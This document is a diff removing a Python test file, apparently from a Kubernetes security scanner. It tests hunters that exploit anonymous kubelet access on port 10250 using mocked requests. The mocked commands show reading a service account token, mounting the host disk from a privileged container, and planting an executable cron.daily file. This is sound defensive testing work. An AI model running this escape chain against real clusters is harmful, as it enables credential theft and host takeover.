-number_of_rm_attempts = 1
-number_of_umount_attempts = 1
-number_of_rmdir_attempts = 1
-
-
-def create_test_event_type_one():
-    anonymous_auth_enabled_event = AnonymousAuthEnabled()
-
-    anonymous_auth_enabled_event.host = "localhost"
-    anonymous_auth_enabled_event.session = requests.Session()
-
-    return anonymous_auth_enabled_event
-
-
-def create_test_event_type_two():
-    exposed_existing_privileged_containers_via_secure_kubelet_port_event = (
-        ExposedExistingPrivilegedContainersViaSecureKubeletPort(exposed_privileged_containers)
-    )
-    exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost"
-    exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session()
-
-    return exposed_existing_privileged_containers_via_secure_kubelet_port_event
-
-
-def test_get_request_valid_url():
-    class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/mock"
-
-        session_mock.get(url, text="mock")
-
-        return_value = class_being_tested.get_request(url)
-
-        assert return_value == "mock"
-
-
-def test_get_request_invalid_url():
-    class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/[mock]"
-
-        session_mock.get(url, exc=requests.exceptions.InvalidURL)
-
-        return_value = class_being_tested.get_request(url)
-
-        assert return_value.startswith("Exception: ")
-
-
-def post_request(url, params, expected_return_value, exception=None):
-    class_being_tested_one = ProveAnonymousAuth(create_test_event_type_one())
-
-    with requests_mock.Mocker(session=class_being_tested_one.event.session) as session_mock:
-        mock_params = {"text": "mock"} if not exception else {"exc": exception}
-        session_mock.post(url, **mock_params)
-
-        return_value = class_being_tested_one.post_request(url, params)
-
-        assert return_value == expected_return_value
-
-    class_being_tested_two = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two())
-
-    with requests_mock.Mocker(session=class_being_tested_two.event.session) as session_mock:
-        mock_params = {"text": "mock"} if not exception else {"exc": exception}
-        session_mock.post(url, **mock_params)
-
-        return_value = class_being_tested_two.post_request(url, params)
-
-        assert return_value == expected_return_value
-
-
-def test_post_request_valid_url_with_parameters():
-    url = "https://localhost:10250/mock?cmd=ls"
-    params = {"cmd": "ls"}
-    post_request(url, params, expected_return_value="mock")
-
-
-def test_post_request_valid_url_without_parameters():
-    url = "https://localhost:10250/mock"
-    params = {}
-    post_request(url, params, expected_return_value="mock")
-
-
-def test_post_request_invalid_url_with_parameters():
-    url = "https://localhost:10250/mock?cmd=ls"
-    params = {"cmd": "ls"}
-    post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
-
-
-def test_post_request_invalid_url_without_parameters():
-    url = "https://localhost:10250/mock"
-    params = {}
-    post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
-
-
-def test_has_no_exception_result_with_exception():
-    mock_result = "Exception: Mock."
-
-    return_value = ProveAnonymousAuth.has_no_exception(mock_result)
-
-    assert return_value is False
-
-
-def test_has_no_exception_result_without_exception():
-    mock_result = "Mock."
-
-    return_value = ProveAnonymousAuth.has_no_exception(mock_result)
-
-    assert return_value is True
-
-
-def test_has_no_error_result_with_error():
-    mock_result = "Mock exited with error."
-
-    return_value = ProveAnonymousAuth.has_no_error(mock_result)
-
-    assert return_value is False
-
-
-def test_has_no_error_result_without_error():
-    mock_result = "Mock."
-
-    return_value = ProveAnonymousAuth.has_no_error(mock_result)
-
-    assert return_value is True
-
-
-def test_has_no_error_nor_exception_result_without_exception_and_without_error():
-    mock_result = "Mock."
-
-    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
-
-    assert return_value is True
-
-
-def test_has_no_error_nor_exception_result_with_exception_and_without_error():
-    mock_result = "Exception: Mock."
-
-    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
-
-    assert return_value is False
-
-
-def test_has_no_error_nor_exception_result_without_exception_and_with_error():
-    mock_result = "Mock exited with error."
-
-    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
-
-    assert return_value is False
-
-
-def test_has_no_error_nor_exception_result_with_exception_and_with_error():
-    mock_result = "Exception: Mock. Mock exited with error."
-
-    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
-
-    assert return_value is False
-
-
-def proveanonymousauth_success(anonymous_auth_enabled_event, security_context_definition_to_test):
-    global counter
-    counter = 0
-
-    with requests_mock.Mocker(session=anonymous_auth_enabled_event.session) as session_mock:
-        url = "https://" + anonymous_auth_enabled_event.host + ":10250/"
-        listing_pods_url = url + "pods"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-
-        session_mock.get(
-            listing_pods_url,
-            text=pod_list_with_privileged_container.replace(
-                "{security_context_definition_to_test}", security_context_definition_to_test
-            ),
-        )
-        session_mock.post(
-            run_url + urllib.parse.quote("cat /var/run/secrets/kubernetes.io/serviceaccount/token", safe=""),
-            text=service_account_token,
-        )
-        session_mock.post(run_url + "env", text=env)
-
-        class_being_tested = ProveAnonymousAuth(anonymous_auth_enabled_event)
-        class_being_tested.execute()
-
-        assert "The following containers have been successfully breached." in class_being_tested.event.evidence
-
-    assert counter == 1
-
-
-def test_proveanonymousauth_success_with_privileged_container_via_privileged_setting():
-    proveanonymousauth_success(create_test_event_type_one(), '"privileged": true')
-
-
-def test_proveanonymousauth_success_with_privileged_container_via_capabilities():
-    proveanonymousauth_success(create_test_event_type_one(), '"capabilities": { "add": ["SYS_ADMIN"] }')
-
-
-def test_proveanonymousauth_connectivity_issues():
-    class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://" + class_being_tested.event.host + ":10250/"
-        listing_pods_url = url + "pods"
-
-        session_mock.get(listing_pods_url, exc=requests.exceptions.ConnectionError)
-
-        class_being_tested.execute()
-
-        assert class_being_tested.event.evidence == ""
-
-
-@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
-class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter:
-    def __init__(self, event):
-        global counter
-        counter += 1
-
-
-def test_check_file_exists_existing_file():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
-
-        return_value = class_being_tested.check_file_exists(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "mock.txt"
-        )
-
-        assert return_value is True
-
-
-def test_check_file_exists_non_existent_file():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(
-            run_url + urllib.parse.quote("ls nonexistentmock.txt", safe=""),
-            text="ls: nonexistentmock.txt: No such file or directory",
-        )
-
-        return_value = class_being_tested.check_file_exists(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            "nonexistentmock.txt",
-        )
-
-        assert return_value is False
-
-
-rm_command_removed_successfully_callback_counter = 0
-
-
-def rm_command_removed_successfully_callback(request, context):
-    global rm_command_removed_successfully_callback_counter
-
-    if rm_command_removed_successfully_callback_counter == 0:
-        rm_command_removed_successfully_callback_counter += 1
-        return "mock.txt"
-    else:
-        return "ls: mock.txt: No such file or directory"
-
-
-def test_rm_command_removed_successfully():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(
-            run_url + urllib.parse.quote("ls mock.txt", safe=""), text=rm_command_removed_successfully_callback
-        )
-        session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="")
-
-        return_value = class_being_tested.rm_command(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            "mock.txt",
-            number_of_rm_attempts=1,
-            seconds_to_wait_for_os_command=None,
-        )
-
-        assert return_value is True
-
-
-def test_rm_command_removed_failed():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
-        session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="Permission denied")
-
-        return_value = class_being_tested.rm_command(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            "mock.txt",
-            number_of_rm_attempts=1,
-            seconds_to_wait_for_os_command=None,
-        )
-
-        assert return_value is False
-
-
-def test_attack_exposed_existing_privileged_container_success():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-        file_name = "kube-hunter-mock" + str(uuid.uuid1())
-        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
-
-        session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
-        )
-
-        return_value = class_being_tested.attack_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            directory_created,
-            number_of_rm_attempts,
-            None,
-            file_name,
-        )
-
-        assert return_value["result"] is True
-
-
-def test_attack_exposed_existing_privileged_container_failure_when_touch():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-        file_name = "kube-hunter-mock" + str(uuid.uuid1())
-        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
-
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(
-            run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""),
-            text="Operation not permitted",
-        )
-
-        return_value = class_being_tested.attack_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            directory_created,
-            None,
-            file_name,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_attack_exposed_existing_privileged_container_failure_when_chmod():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-        file_name = "kube-hunter-mock" + str(uuid.uuid1())
-        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
-
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
-            text="Permission denied",
-        )
-
-        return_value = class_being_tested.attack_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            directory_created,
-            None,
-            file_name,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_check_directory_exists_existing_directory():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
-
-        return_value = class_being_tested.check_directory_exists(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
-        )
-
-        assert return_value is True
-
-
-def test_check_directory_exists_non_existent_directory():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="ls: Mock: No such file or directory")
-
-        return_value = class_being_tested.check_directory_exists(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
-        )
-
-        assert return_value is False
-
-
-rmdir_command_removed_successfully_callback_counter = 0
-
-
-def rmdir_command_removed_successfully_callback(request, context):
-    global rmdir_command_removed_successfully_callback_counter
-
-    if rmdir_command_removed_successfully_callback_counter == 0:
-        rmdir_command_removed_successfully_callback_counter += 1
-        return "mock.txt"
-    else:
-        return "ls: Mock: No such file or directory"
-
-
-def test_rmdir_command_removed_successfully():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(
-            run_url + urllib.parse.quote("ls Mock", safe=""), text=rmdir_command_removed_successfully_callback
-        )
-        session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="")
-
-        return_value = class_being_tested.rmdir_command(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            "Mock",
-            number_of_rmdir_attempts=1,
-            seconds_to_wait_for_os_command=None,
-        )
-
-        assert return_value is True
-
-
-def test_rmdir_command_removed_failed():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
-        session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="Permission denied")
-
-        return_value = class_being_tested.rmdir_command(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            "Mock",
-            number_of_rmdir_attempts=1,
-            seconds_to_wait_for_os_command=None,
-        )
-
-        assert return_value is False
-
-
-def test_get_root_values_success():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-    root_value, root_value_type = class_being_tested.get_root_values(cat_proc_cmdline)
-
-    assert root_value == "Mock" and root_value_type == "LABEL="
-
-
-def test_get_root_values_failure():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-    root_value, root_value_type = class_being_tested.get_root_values("")
-
-    assert root_value is None and root_value_type is None
-
-
-def test_process_exposed_existing_privileged_container_success():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
-        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
-        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
-        )
-        session_mock.post(
-            run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
-        )
-
-        return_value = class_being_tested.process_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            number_of_umount_attempts,
-            number_of_rmdir_attempts,
-            None,
-            directory_created,
-        )
-
-        assert return_value["result"] is True
-
-
-def test_process_exposed_existing_privileged_container_failure_when_cat_cmdline():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text="Permission denied")
-
-        return_value = class_being_tested.process_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            number_of_umount_attempts,
-            number_of_rmdir_attempts,
-            None,
-            directory_created,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_process_exposed_existing_privileged_container_failure_when_findfs():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
-        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="Permission denied")
-
-        return_value = class_being_tested.process_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            number_of_umount_attempts,
-            number_of_rmdir_attempts,
-            None,
-            directory_created,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_process_exposed_existing_privileged_container_failure_when_mkdir():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
-        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
-        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied")
-
-        return_value = class_being_tested.process_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            number_of_umount_attempts,
-            number_of_rmdir_attempts,
-            None,
-            directory_created,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_process_exposed_existing_privileged_container_failure_when_mount():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
-        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
-        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
-            text="Permission denied",
-        )
-
-        return_value = class_being_tested.process_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            number_of_umount_attempts,
-            number_of_rmdir_attempts,
-            None,
-            directory_created,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_process_exposed_existing_privileged_container_failure_when_cat_hostname():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
-        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
-        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
-        )
-        session_mock.post(
-            run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""),
-            text="Permission denied",
-        )
-
-        return_value = class_being_tested.process_exposed_existing_privileged_container(
-            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
-            number_of_umount_attempts,
-            number_of_rmdir_attempts,
-            None,
-            directory_created,
-        )
-
-        assert return_value["result"] is False
-
-
-def test_maliciousintentviasecurekubeletport_success():
-    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
-
-    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
-        url = "https://localhost:10250/"
-        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
-        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
-        file_name = "kube-hunter-mock" + str(uuid.uuid1())
-        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
-
-        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
-        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
-        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
-        )
-        session_mock.post(
-            run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
-        )
-        session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
-        session_mock.post(
-            run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
-        )
-
-        class_being_tested.execute(directory_created, file_name)
-
-        message = "The following exposed existing privileged containers have been successfully"
-        message += " abused by starting/modifying a process in the host."
-
-        assert message in class_being_tested.event.evidence